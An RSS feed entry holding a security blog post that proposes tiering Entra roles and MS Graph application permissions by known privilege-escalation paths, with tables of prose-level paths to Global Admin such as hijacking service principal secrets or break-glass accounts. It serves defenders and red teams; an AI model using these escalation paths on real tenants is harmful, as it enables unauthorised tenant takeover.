<?xml version="1.0" encoding="utf-8"?>
<rss version="2.0" xmlns:atom="http://www.w3.org/2005/Atom">
  <channel>
    <title>emiliensocchi.io</title>
    <description>Emilien Socchi's personal blog | Research about Cloud security, software-container and Kubernetes security</description>
    <language>en</language>
    <author>
        <name>Emilien Socchi</name>
    </author>
    <link>https://www.emiliensocchi.io</link>
    
      
        <item>
          <title>Tiering Entra roles and application permissions based on known attack paths</title>
          <description>&lt;blockquote&gt;
  &lt;p&gt;&lt;strong&gt;Update (2025-07-06)&lt;/strong&gt; &lt;br /&gt;
The project now supports common Azure roles and has its own website: &lt;br /&gt;
&lt;a href=&quot;https://aztier.com&quot;&gt;https://aztier.com&lt;/a&gt;&lt;/p&gt;
&lt;/blockquote&gt;

&lt;h2 id=&quot;introduction&quot;&gt;Introduction&lt;/h2&gt;

&lt;p&gt;&lt;a href=&quot;/assets/images/blog/2024-08-07-introducing-cloud-tier-models-based-on-known-attack-paths/01_screenshot.png&quot;&gt;&lt;img src=&quot;/assets/images/blog/2024-08-07-introducing-cloud-tier-models-based-on-known-attack-paths/01_screenshot.png&quot; alt=&quot;&quot; /&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;I have recently released on my &lt;a href=&quot;https://github.com/emiliensocchi/azure-tiering&quot;&gt;GitHub&lt;/a&gt; a new kind of cloud tier model to categorize &lt;strong&gt;Entra roles&lt;/strong&gt; and &lt;strong&gt;application permissions&lt;/strong&gt; in MS Graph &lt;strong&gt;based on known attack paths&lt;/strong&gt;. The goal is to provide a clear understanding of the security implications of each role and permission, so that red- and blue-teamers can understand more easily to which extent those can be abused.&lt;/p&gt;

&lt;h2 id=&quot;motivation&quot;&gt;Motivation&lt;/h2&gt;

&lt;p&gt;In 2020, Microsoft introduced the &lt;a href=&quot;https://learn.microsoft.com/en-us/security/privileged-access-workstations/privileged-access-access-model&quot;&gt;Enterprise Access Model&lt;/a&gt; as a new approach to tiered administration in Azure and Entra ID.&lt;/p&gt;

&lt;p&gt;After witnessing several attempts at implementing the EAM, I kept asking myself the same question: what are the actual security implications of the roles and permissions categorized as Tier-0? In other words, what is a threat actor really able to do with them?
I am aware the EAM has different definition of Tier-0, but coming from a red-team perspective, I always interpreted the meaning of Tier-0 as “potential for becoming Global Admin”, or at least not far from it.&lt;/p&gt;

&lt;p&gt;Most companies I have witnessed trying to implement the EAM have used &lt;a href=&quot;https://x.com/Thomas_Live&quot;&gt;Thomas Naunheim&lt;/a&gt;’s awesome &lt;a href=&quot;https://github.com/Cloud-Architekt/AzurePrivilegedIAM&quot;&gt;AzurePrivilegedIAM project&lt;/a&gt;. To my knowledge, this is the only project providing tangible lists of tiered roles and permissions, which makes the EAM a lot more concrete and easier to implement.&lt;/p&gt;

&lt;p&gt;After starting to dig into the Tier-0 classification of the EAM, I started noticing that some of those assets had very different security implications. For example, &lt;a href=&quot;https://raw.githubusercontent.com/Cloud-Architekt/AzurePrivilegedIAM/main/Classification/Classification_AppRoles.json&quot;&gt;Tier-0 application permissions&lt;/a&gt; include permissions such as the following:&lt;/p&gt;

&lt;table&gt;
  &lt;thead&gt;
    &lt;tr&gt;
      &lt;th&gt;Application permission&lt;/th&gt;
      &lt;th&gt;Description&lt;/th&gt;
    &lt;/tr&gt;
  &lt;/thead&gt;
  &lt;tbody&gt;
    &lt;tr&gt;
      &lt;td&gt;&lt;a href=&quot;https://learn.microsoft.com/en-us/graph/permissions-reference#directoryrecommendationsreadwriteall&quot;&gt;DirectoryRecommendations.ReadWrite.All&lt;/a&gt;&lt;/td&gt;
      &lt;td&gt;Allows reading and updating all Microsoft Entra recommendations.&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td&gt;&lt;a href=&quot;https://learn.microsoft.com/en-us/graph/permissions-reference#rolemanagementreadwritedirectory&quot;&gt;RoleManagement.ReadWrite.Directory&lt;/a&gt;&lt;/td&gt;
      &lt;td&gt;Allows reading and managing the role-based access control (RBAC) settings for your company’s directory. This includes instantiating directory roles and managing directory role membership, and reading directory role templates, directory roles and memberships.&lt;/td&gt;
    &lt;/tr&gt;
  &lt;/tbody&gt;
&lt;/table&gt;

&lt;p&gt;In case a Threat Actor (TA) compromises a service principal (SP) with the first application permission, a worst-case scenario is that the TA is able to dismiss important security recommendations from Entra ID. With the second permission, a TA would be able to assign the Global Administrator role to the SP they have compromised and escalate to Global Admin. Despite both belonging to Tier-0 in the EAM, the security implications of those permissions are &lt;em&gt;very&lt;/em&gt; different, as the first one has no real impact on the tenant’s confidentiality, integrity or availability, while the second one leads to full tenant takeover.&lt;/p&gt;

&lt;p&gt;The EAM also classifies &lt;a href=&quot;https://github.com/Cloud-Architekt/AzurePrivilegedIAM/blob/main/Classification/Classification_EntraIdDirectoryRoles.json#L4&quot;&gt;Entra roles&lt;/a&gt; with very different security implications as Tier-0. Here are a couple of examples:&lt;/p&gt;

&lt;table&gt;
  &lt;thead&gt;
    &lt;tr&gt;
      &lt;th&gt;Entra role&lt;/th&gt;
      &lt;th&gt;Description&lt;/th&gt;
    &lt;/tr&gt;
  &lt;/thead&gt;
  &lt;tbody&gt;
    &lt;tr&gt;
      &lt;td&gt;&lt;a href=&quot;https://learn.microsoft.com/en-us/entra/identity/role-based-access-control/permissions-reference#security-reader&quot;&gt;Security Reader&lt;/a&gt;&lt;/td&gt;
      &lt;td&gt;Users with this role have global read-only access on security-related feature, including all information in Microsoft 365 Defender portal, Microsoft Entra ID Protection, Privileged Identity Management, as well as the ability to read Microsoft Entra sign-in reports and audit logs, and in Microsoft Purview compliance portal.&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td&gt;&lt;a href=&quot;https://learn.microsoft.com/en-us/entra/identity/role-based-access-control/permissions-reference#global-administrator&quot;&gt;Global Administrator&lt;/a&gt;&lt;/td&gt;
      &lt;td&gt;Self-explanatory.&lt;/td&gt;
    &lt;/tr&gt;
  &lt;/tbody&gt;
&lt;/table&gt;

&lt;p&gt;With the first role, a TA would be able to read security-related information in the tenant as a worst-case scenario. Although this impacts confidentiality to a certain extent, we are far from a risk of escalating to Global Admin or any similar scenario. With the second role however, the security implications are self-explanatory, as a TA who has compromised an identity with the Global Admin role is able to take over the entire tenant.&lt;/p&gt;

&lt;p&gt;We can see that the EAM (in its current form at least) provides little visibility into the actual security implications of its roles/permissions in terms of impact, and especially in terms of risks for privilege escalation. The consequence is dual for most companies. On one hand, SecOps teams  may use unnecessary resources on controlling the use of certain roles and permissions that should not be classified as Tier-0 in the first place. On the other hand, blue teams may have a hard time understanding the actual blast radius of Tier-0 assets, making it hard to foresee what a TA is trying to achieve during an incident.&lt;/p&gt;

&lt;h2 id=&quot;introducing-tier-models-based-on-known-attack-paths&quot;&gt;Introducing: tier models based on known attack paths&lt;/h2&gt;

&lt;p&gt;In an attempt to better understand the security implications of cloud administrative assets, the idea of this project is to categorize roles and permissions, based on known attack paths. For those unfamiliar with the concept, attack paths are a way to document the steps necessary to escalate privileges from one asset to another.&lt;/p&gt;

&lt;h3 id=&quot;objective-1-provide-a-better-understanding-of-security-implications&quot;&gt;Objective 1: provide a better understanding of security implications&lt;/h3&gt;

&lt;p&gt;By categorizing roles and permissions based on known attack paths, the objective is to provide a better understanding of what a threat actor with those administrative permissions can do in terms of privilege escalation, while providing a better understanding of the security implications of those assets.&lt;/p&gt;

&lt;h3 id=&quot;objective-2-provide-a-base-for-further-development&quot;&gt;Objective 2: provide a base for further development&lt;/h3&gt;

&lt;p&gt;The definition of a “tier” and its content is highly dependent on the business requirements, risk appetite and governance strategy of a company. The second objective of this project is to provide a base that can be adapted to develop company-specific tier models based on the same philosophy, but answering different requirements.&lt;/p&gt;

&lt;h2 id=&quot;approach&quot;&gt;Approach&lt;/h2&gt;

&lt;p&gt;The baseline approach for this project is to rely on what a role or permission is &lt;strong&gt;effectively&lt;/strong&gt; capable of doing.&lt;/p&gt;

&lt;h3 id=&quot;entra-roles-do-not-to-rely-on-role-actions&quot;&gt;Entra roles: do not to rely on role actions&lt;/h3&gt;

&lt;p&gt;Entra roles are made of what Microsoft refers to as “role actions”. For those unfamiliar with role actions, they consist of a list of operations within certain Microsoft services that a role supposedly allows to perform.&lt;/p&gt;

&lt;p&gt;Here are a few examples of Entra role actions (see &lt;a href=&quot;https://learn.microsoft.com/en-us/entra/identity/role-based-access-control/permissions-reference&quot;&gt;here&lt;/a&gt; for more information):&lt;/p&gt;

&lt;ul&gt;
  &lt;li&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;microsoft.directory/users/password/update&lt;/code&gt;&lt;/li&gt;
  &lt;li&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;microsoft.office365.protectionCenter/attackSimulator/payload/allProperties/allTasks&lt;/code&gt;&lt;/li&gt;
  &lt;li&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;microsoft.azure.supportTickets/allEntities/allTasks&lt;/code&gt;&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;The main issue with role actions is that they are not sufficient to be certain of what an Entra role is effectively capable of doing, as additional access control is sometimes implicitly applied on top of them. For example, the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;microsoft.directory/users/password/update&lt;/code&gt; action seems to allow Entra roles with that action to reset passwords for any user. However, the effective permissions provided by that action are enforced server side, based on the Entra role using the action.&lt;/p&gt;

&lt;p&gt;For example, both the &lt;a href=&quot;https://learn.microsoft.com/en-us/entra/identity/role-based-access-control/permissions-reference#authentication-administrator&quot;&gt;Authentication Administrator&lt;/a&gt; and &lt;a href=&quot;https://learn.microsoft.com/en-us/entra/identity/role-based-access-control/permissions-reference#privileged-authentication-administrator&quot;&gt;Privileged Authentication Administrator&lt;/a&gt; role contain the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;microsoft.directory/users/password/update&lt;/code&gt; action. However, an &lt;a href=&quot;https://learn.microsoft.com/en-us/entra/identity/role-based-access-control/permissions-reference#authentication-administrator&quot;&gt;Authentication Administrator&lt;/a&gt; can only reset the password of certain users within a directory, whereas a &lt;a href=&quot;https://learn.microsoft.com/en-us/entra/identity/role-based-access-control/permissions-reference#privileged-authentication-administrator&quot;&gt;Privileged Authentication Administrator&lt;/a&gt; can reset the password of any user, without additional constrains enforced server side (&lt;a href=&quot;https://learn.microsoft.com/en-us/entra/identity/role-based-access-control/privileged-roles-permissions?tabs=admin-center#who-can-reset-passwords&quot;&gt;more information&lt;/a&gt;). This example illustrates the unreliability of an approach based on role actions, as it does not provide a clear understanding of the effective capabilities of an Entra role.&lt;/p&gt;

&lt;h3 id=&quot;app-permissions-do-not-rely-on-permission-names-or-documentation&quot;&gt;App permissions: do not rely on permission names or documentation&lt;/h3&gt;

&lt;p&gt;The &lt;a href=&quot;https://learn.microsoft.com/en-us/graph/permissions-reference&quot;&gt;official documentation&lt;/a&gt; for MS Graph application permissions is extremely vague regarding their capabilities, as the name of a permission is supposed to be self-sufficient to understand its access within Graph, based on the following format:&lt;/p&gt;

&lt;ul&gt;
  &lt;li&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;[Resource_in_Graph].[Permission(s)].([Optional_Scope])&lt;/code&gt;&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Here are few examples of application permissions illustrating that naming convention:&lt;/p&gt;

&lt;ul&gt;
  &lt;li&gt;&lt;a href=&quot;https://learn.microsoft.com/en-us/graph/permissions-reference#applicationreadall&quot;&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;Application.Read.All&lt;/code&gt;&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://learn.microsoft.com/en-us/graph/permissions-reference#applicationreadwriteownedby&quot;&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;Application.ReadWrite.OwnedBy&lt;/code&gt;&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://learn.microsoft.com/en-us/graph/permissions-reference#directoryreadwriteall&quot;&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;Directory.ReadWrite.All&lt;/code&gt;&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://learn.microsoft.com/en-us/graph/permissions-reference#contactsread&quot;&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;Contacts.Read&lt;/code&gt;&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;However, similar to Entra role actions, the name of an application permission is not sufficient to be certain of what it is effectively capable of doing, as additional access control is sometimes applied on top of it server side. For example, &lt;a href=&quot;https://learn.microsoft.com/en-us/graph/permissions-reference#directoryreadwriteall&quot;&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;Directory.ReadWrite.All&lt;/code&gt;&lt;/a&gt; indicates that whoever holds that permission should have full read and write permissions to all directory objects within the Entra ID directory. However, as &lt;a href=&quot;https://x.com/_wald0&quot;&gt;Andy Robbins&lt;/a&gt; has already documented in a comprehensive &lt;a href=&quot;https://posts.specterops.io/directory-readwrite-all-is-not-as-powerful-as-you-might-think-c5b09a8f78a8&quot;&gt;blog post&lt;/a&gt; about the subject, the &lt;a href=&quot;https://learn.microsoft.com/en-us/graph/permissions-reference#directoryreadwriteall&quot;&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;Directory.ReadWrite.All&lt;/code&gt;&lt;/a&gt; permission does &lt;strong&gt;not&lt;/strong&gt; provide write access to the entire directory, as its name suggests. This example illustrates how misleading the name of an application permission can be, making it unreliable as a source for categorizing permissions into tiers.&lt;/p&gt;

&lt;h3 id=&quot;rely-on-testing-the-effective-capabilities-of-roles-and-permissions&quot;&gt;Rely on testing the &lt;u&gt;effective&lt;/u&gt; capabilities of roles and permissions&lt;/h3&gt;

&lt;p&gt;Based on those observations, the only reliable approach to understanding the effective capabilities of a role/permission is to verify what it can effectively do through testing. The goal is not to re-invent the wheel, but to provide a clear understanding of the security implications of each role and permission, so that red- and blue-teamers can understand more easily to which extent those can be abused.&lt;/p&gt;

&lt;h2 id=&quot;initial-release&quot;&gt;Initial release&lt;/h2&gt;

&lt;p&gt;The initial release for this project attempts to categorize &lt;strong&gt;Entra roles&lt;/strong&gt; and &lt;strong&gt;application permissions&lt;/strong&gt; in Microsoft Graph based on manually testing attack paths, as well as reviewing public research documentating privilege escalation for some of those administrative assets.&lt;/p&gt;

&lt;h3 id=&quot;defining-tiers&quot;&gt;Defining tiers&lt;/h3&gt;

&lt;p&gt;&lt;strong&gt;Tier 0&lt;/strong&gt; contains assets with at least one known technique to create a path to Global Admin. This does &lt;strong&gt;not&lt;/strong&gt; mean a path necessarily exist in every tenant, as privilege escalations are often tenant specific, but the goal is to identify roles and permissions with a &lt;strong&gt;risk&lt;/strong&gt; of having a path to Global Admin.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Tier 1&lt;/strong&gt; contains administrative assets with limited write access, and &lt;em&gt;without&lt;/em&gt; any known path to Global Admin. In case a new path is discovered for a Tier-1 asset, the latter is automatically bumped to Tier-0.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Tier 2&lt;/strong&gt; contains remaining roles and permissions with little to no security implications.&lt;/p&gt;

&lt;h3 id=&quot;documenting-shortest-path-to-global-admin&quot;&gt;Documenting shortest path to Global Admin&lt;/h3&gt;

&lt;p&gt;Tier-0 assets contain descriptive information about known shortest paths to Global Admin, in order to demonstrate the risk of a role or permission. It is important to note that the shortest paths documented are not necessarily the most common or the only ones. In many case, a Tier-0 role or permission has &lt;strong&gt;many&lt;/strong&gt; paths to Global Admin.&lt;/p&gt;

&lt;p&gt;Furthermore, this does &lt;strong&gt;not&lt;/strong&gt; mean there exists a path in every tenant, as privilege escalations are often tenant specific, dependent on the structure of the tenant, the services enabled, etc. The goal is to identify Tier-0 roles and permissions that have a &lt;strong&gt;risk&lt;/strong&gt; of having a path to Global Admin.&lt;/p&gt;

&lt;h3 id=&quot;standardizing-tier-0-information&quot;&gt;Standardizing Tier-0 information&lt;/h3&gt;

&lt;p&gt;In both models, Tier-0 assets are documented based on the same standard, using the following pieces of information:&lt;/p&gt;

&lt;table&gt;
  &lt;thead&gt;
    &lt;tr&gt;
      &lt;th&gt;Role name / Application permission&lt;/th&gt;
      &lt;th&gt;Path type&lt;/th&gt;
      &lt;th&gt;Known shortest path&lt;/th&gt;
      &lt;th&gt;Example&lt;/th&gt;
    &lt;/tr&gt;
  &lt;/thead&gt;
  &lt;tbody&gt;
    &lt;tr&gt;
      &lt;td&gt;Name of the Entra role / MS Graph permission&lt;/td&gt;
      &lt;td&gt;“Direct” means the escalation requires a single step to become Global Admin. “Indirect” means the privilege escalation requires two or more steps.&lt;/td&gt;
      &lt;td&gt;One of the shortest paths possible to Global Admin that is known with the application permission. &lt;br /&gt; It does &lt;strong&gt;not&lt;/strong&gt; mean this is the most common or only possible path. In most cases, a large number of paths are possible, but the idea is to document one of the shortest to demonstrate the risk.&lt;/td&gt;
      &lt;td&gt;A concrete high-level example with a Threat Actor (TA), illustrating the “Known shortest path”.&lt;/td&gt;
    &lt;/tr&gt;
  &lt;/tbody&gt;
&lt;/table&gt;

&lt;p&gt;Here is a sample from the Entra role tier model:&lt;/p&gt;

&lt;table&gt;
  &lt;thead&gt;
    &lt;tr&gt;
      &lt;th&gt;Entra role&lt;/th&gt;
      &lt;th&gt;Path type&lt;/th&gt;
      &lt;th&gt;Known shortest path&lt;/th&gt;
      &lt;th&gt;Example&lt;/th&gt;
    &lt;/tr&gt;
  &lt;/thead&gt;
  &lt;tbody&gt;
    &lt;tr&gt;
      &lt;td&gt;&lt;a href=&quot;https://learn.microsoft.com/en-us/entra/identity/role-based-access-control/permissions-reference#application-administrator&quot;&gt;Application Administrator&lt;/a&gt; &lt;a id=&quot;application-admin&quot;&gt;&lt;/a&gt;&lt;/td&gt;
      &lt;td&gt;Indirect&lt;/td&gt;
      &lt;td&gt;Can impersonate any SP with privileged application permissions granted for Microsoft Graph, which can be abused to become Global Admin.&lt;/td&gt;
      &lt;td&gt;TA identifies an SP with the &lt;a href=&quot;https://github.com/emiliensocchi/azure-tiering/tree/main/Microsoft%20Graph%20application%20permissions#rolemanagement-readwrite-directory&quot;&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;RoleManagement.ReadWrite.Directory&lt;/code&gt;&lt;/a&gt; application permission. TA creates a new secret for the SP, impersonates it and abuses the granted permissions to escalate to Global Admin.&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td&gt;&lt;a href=&quot;https://learn.microsoft.com/en-us/entra/identity/role-based-access-control/permissions-reference#cloud-application-administrator&quot;&gt;Cloud Application Administrator&lt;/a&gt;&lt;/td&gt;
      &lt;td&gt;Indirect&lt;/td&gt;
      &lt;td&gt;Same as &lt;a href=&quot;#application-admin&quot;&gt;Application Administrator&lt;/a&gt;.&lt;/td&gt;
      &lt;td&gt;Same as &lt;a href=&quot;#application-admin&quot;&gt;Application Administrator&lt;/a&gt;.&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td&gt;&lt;a href=&quot;https://learn.microsoft.com/en-us/entra/identity/role-based-access-control/permissions-reference#directory-synchronization-accounts&quot;&gt;Directory Synchronization Accounts&lt;/a&gt;&lt;/td&gt;
      &lt;td&gt;Indirect&lt;/td&gt;
      &lt;td&gt;Same as &lt;a href=&quot;#application-admin&quot;&gt;Application Administrator&lt;/a&gt;. &lt;br /&gt; As of September 2023, &lt;em&gt;cannot&lt;/em&gt; reset the password of cloud-only users via the synchronization API to take over break-glass accounts.&lt;/td&gt;
      &lt;td&gt;Same as &lt;a href=&quot;#application-admin&quot;&gt;Application Administrator&lt;/a&gt;.&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td&gt;&lt;a href=&quot;https://graph.microsoft.com/v1.0/directoryRoleTemplates/a92aed5d-d78a-4d16-b381-09adb37eb3b0&quot;&gt;On Premises Directory Sync Account&lt;/a&gt;&lt;/td&gt;
      &lt;td&gt;n/a&lt;/td&gt;
      &lt;td&gt;⚠️ &lt;em&gt;Untested! Needs more research.&lt;/em&gt; &lt;br /&gt; Note: does not seem to be able to create new SP credentials or give consent.&lt;/td&gt;
      &lt;td&gt;n/a&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td&gt;&lt;a href=&quot;https://learn.microsoft.com/en-us/entra/identity/role-based-access-control/permissions-reference#partner-tier2-support&quot;&gt;Partner Tier2 Support&lt;/a&gt; &lt;a id=&quot;partner-tier2&quot;&gt;&lt;/a&gt;&lt;/td&gt;
      &lt;td&gt;Direct&lt;/td&gt;
      &lt;td&gt;Can reset the password of a &lt;a href=&quot;https://learn.microsoft.com/en-us/entra/identity/role-based-access-control/security-emergency-access&quot;&gt;break-glass account&lt;/a&gt; and take it over.&lt;/td&gt;
      &lt;td&gt;TA resets the password of a &lt;a href=&quot;https://learn.microsoft.com/en-us/entra/identity/role-based-access-control/security-emergency-access&quot;&gt;break-glass account&lt;/a&gt; and authenticates as Global Admin. &lt;br /&gt;Note: many other paths are possible.&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td&gt;&lt;a href=&quot;https://learn.microsoft.com/en-us/entra/identity/role-based-access-control/permissions-reference#privileged-role-administrator&quot;&gt;Privileged Role Administrator&lt;/a&gt;&lt;/td&gt;
      &lt;td&gt;Direct&lt;/td&gt;
      &lt;td&gt;Can assign the Global Admin role to itself.&lt;/td&gt;
      &lt;td&gt;TA assigns the Global Admin role to the compromised user account, and authenticates as Global Admin.&lt;/td&gt;
    &lt;/tr&gt;
  &lt;/tbody&gt;
&lt;/table&gt;

&lt;p&gt;Here is a sample from the tier model for MS Graph application permissions:&lt;/p&gt;

&lt;table&gt;
  &lt;thead&gt;
    &lt;tr&gt;
      &lt;th&gt;Application permission&lt;/th&gt;
      &lt;th&gt;Path type&lt;/th&gt;
      &lt;th&gt;Known shortest path&lt;/th&gt;
      &lt;th&gt;Example&lt;/th&gt;
    &lt;/tr&gt;
  &lt;/thead&gt;
  &lt;tbody&gt;
    &lt;tr&gt;
      &lt;td&gt;&lt;a href=&quot;https://learn.microsoft.com/en-us/graph/permissions-reference#applicationreadwriteall&quot;&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;Application.ReadWrite.All&lt;/code&gt;&lt;/a&gt; &lt;a id=&quot;application-readwrite-all&quot;&gt;&lt;/a&gt;&lt;/td&gt;
      &lt;td&gt;Indirect&lt;/td&gt;
      &lt;td&gt;Can impersonate any SP with more privileged application permissions granted for MS Graph, and impersonate it to escalate to Global Admin.&lt;/td&gt;
      &lt;td&gt;TA identifies an SP with the &lt;a href=&quot;#rolemanagement-readwrite-directory&quot;&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;RoleManagement.ReadWrite.Directory&lt;/code&gt;&lt;/a&gt; application permission. TA creates a new secret for the SP, impersonates it and follows the same path as that permission to escalate to Global Admin.&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td&gt;&lt;a href=&quot;https://learn.microsoft.com/en-us/graph/permissions-reference#approleassignmentreadwriteall&quot;&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;AppRoleAssignment.ReadWrite.All&lt;/code&gt;&lt;/a&gt;&lt;/td&gt;
      &lt;td&gt;Indirect&lt;/td&gt;
      &lt;td&gt;Can assign the &lt;a href=&quot;#rolemanagement-readwrite-directory&quot;&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;RoleManagement.ReadWrite.Directory&lt;/code&gt;&lt;/a&gt; permission to the compromised SP &lt;em&gt;without&lt;/em&gt; requiring admin consent, and escalate to Global Admin.&lt;/td&gt;
      &lt;td&gt;TA assigns the &lt;a href=&quot;#rolemanagement-readwrite-directory&quot;&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;RoleManagement.ReadWrite.Directory&lt;/code&gt;&lt;/a&gt; permission to the compromised SP and follows the same path as that permission to escalate to Global Admin.&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td&gt;&lt;a href=&quot;https://learn.microsoft.com/en-us/graph/permissions-reference#entitlementmanagementreadwriteall&quot;&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;EntitlementManagement.ReadWrite.All&lt;/code&gt;&lt;/a&gt;&lt;/td&gt;
      &lt;td&gt;Indirect&lt;/td&gt;
      &lt;td&gt;Can update the assignment policy of an access package provisioning access to Global Admin, so that requesting the package without approval is possible from a controlled user account.&lt;/td&gt;
      &lt;td&gt;TA identifies an access package providing access to a security group with an active Global Admin assignment. TA adds an assignment policy to the access package, so that the latter can be requested from a controlled user account, without manual approval. TA requests the access package and escalates to Global Admin via group membership.&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td&gt;&lt;a href=&quot;https://learn.microsoft.com/en-us/graph/permissions-reference#policyreadwriteauthenticationmethod&quot;&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;Policy.ReadWrite.AuthenticationMethod&lt;/code&gt;&lt;/a&gt; &lt;a id=&quot;policy-readwrite-authenticationmethod&quot;&gt;&lt;/a&gt;&lt;/td&gt;
      &lt;td&gt;Indirect&lt;/td&gt;
      &lt;td&gt;When combined with &lt;a href=&quot;#userauthenticationmethod-readwrite-all&quot;&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;UserAuthenticationMethod.ReadWrite.All&lt;/code&gt;&lt;/a&gt;, can enable the &lt;a href=&quot;https://learn.microsoft.com/en-us/entra/identity/authentication/howto-authentication-temporary-access-pass&quot;&gt;Temporary Access Pass (TAP)&lt;/a&gt; authentication method to help leveraging and follow the same path as that permission.&lt;/td&gt;
      &lt;td&gt;TA enables the TAP authentication method for the whole tenant and follows the same path as &lt;a href=&quot;#userauthenticationmethod-readwrite-all&quot;&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;UserAuthenticationMethod.ReadWrite.All&lt;/code&gt;&lt;/a&gt;.&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td&gt;&lt;a href=&quot;https://learn.microsoft.com/en-us/graph/permissions-reference#rolemanagementreadwritedirectory&quot;&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;RoleManagement.ReadWrite.Directory&lt;/code&gt;&lt;/a&gt; &lt;a id=&quot;rolemanagement-readwrite-directory&quot;&gt;&lt;/a&gt;&lt;/td&gt;
      &lt;td&gt;Direct&lt;/td&gt;
      &lt;td&gt;Can assign the Global Admin role to a controlled principal.&lt;/td&gt;
      &lt;td&gt;TA assigns the Global Admin role to the compromised SP, re-authenticates with the SP and escalates to Global Admin.&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td&gt;&lt;a href=&quot;https://learn.microsoft.com/en-us/graph/permissions-reference#synchronizationreadwriteall&quot;&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;Synchronization.ReadWrite.All&lt;/code&gt;&lt;/a&gt;&lt;/td&gt;
      &lt;td&gt;n/a&lt;/td&gt;
      &lt;td&gt;⚠️ &lt;em&gt;Untested! Needs more research.&lt;/em&gt; &lt;br /&gt; Note: does not seem to be able to create new SP credentials.&lt;/td&gt;
      &lt;td&gt;n/a&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td&gt;&lt;a href=&quot;https://learn.microsoft.com/en-us/graph/permissions-reference#userauthenticationmethodreadwriteall&quot;&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;UserAuthenticationMethod.ReadWrite.All&lt;/code&gt;&lt;/a&gt; &lt;a id=&quot;userauthenticationmethod-readwrite-all&quot;&gt;&lt;/a&gt;&lt;/td&gt;
      &lt;td&gt;Direct&lt;/td&gt;
      &lt;td&gt;Can generate a &lt;a href=&quot;https://learn.microsoft.com/en-us/entra/identity/authentication/howto-authentication-temporary-access-pass&quot;&gt;Temporary Access Pass (TAP)&lt;/a&gt; and take over any user account in the tenant. &lt;br /&gt; Note: if TAP is not an enabled authentication method in the tenant, this path needs to be combined with &lt;a href=&quot;#policy-readwrite-authenticationmethod&quot;&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;Policy.ReadWrite.AuthenticationMethod&lt;/code&gt;&lt;/a&gt; to be successful.&lt;/td&gt;
      &lt;td&gt;TA creates a TAP for a &lt;a href=&quot;https://learn.microsoft.com/en-us/entra/identity/role-based-access-control/security-emergency-access&quot;&gt;break-glass account&lt;/a&gt;, authenticates with the TAP instead of the account’s password and escalates to Global Admin.&lt;/td&gt;
    &lt;/tr&gt;
  &lt;/tbody&gt;
&lt;/table&gt;

&lt;p&gt;Note that other Tiers may have a different formats in their respective models, depending on their exact definitions.&lt;/p&gt;

&lt;p&gt;For convenience when browsing the model without authenticated access to an Entra tenant, most roles and permissions have a hyperlink to their definition in the Microsoft documentation. However, for those available in MS Graph, but without an entry in the documentation, they are hyperlinked directly to their definition object in the Graph API for completeness.&lt;/p&gt;

&lt;p&gt;Furthermore, note that some roles/permissions are marked with ”⚠️ &lt;em&gt;Untested! Needs more research.&lt;/em&gt;”. Those are suspicious administrative assets without published research and that I have not tested personally. Some of them might have notes with observations I have made during basic testing, but those assets require more research to have a comprehensive understanding of their capabilities and be tiered properly. Until this is the case, they will remain categorized as Tier-0 for safety.&lt;/p&gt;

&lt;h2 id=&quot;current-limitations&quot;&gt;Current limitations&lt;/h2&gt;

&lt;h3 id=&quot;manual-discovery-of-privilege-escalations&quot;&gt;Manual discovery of privilege escalations&lt;/h3&gt;

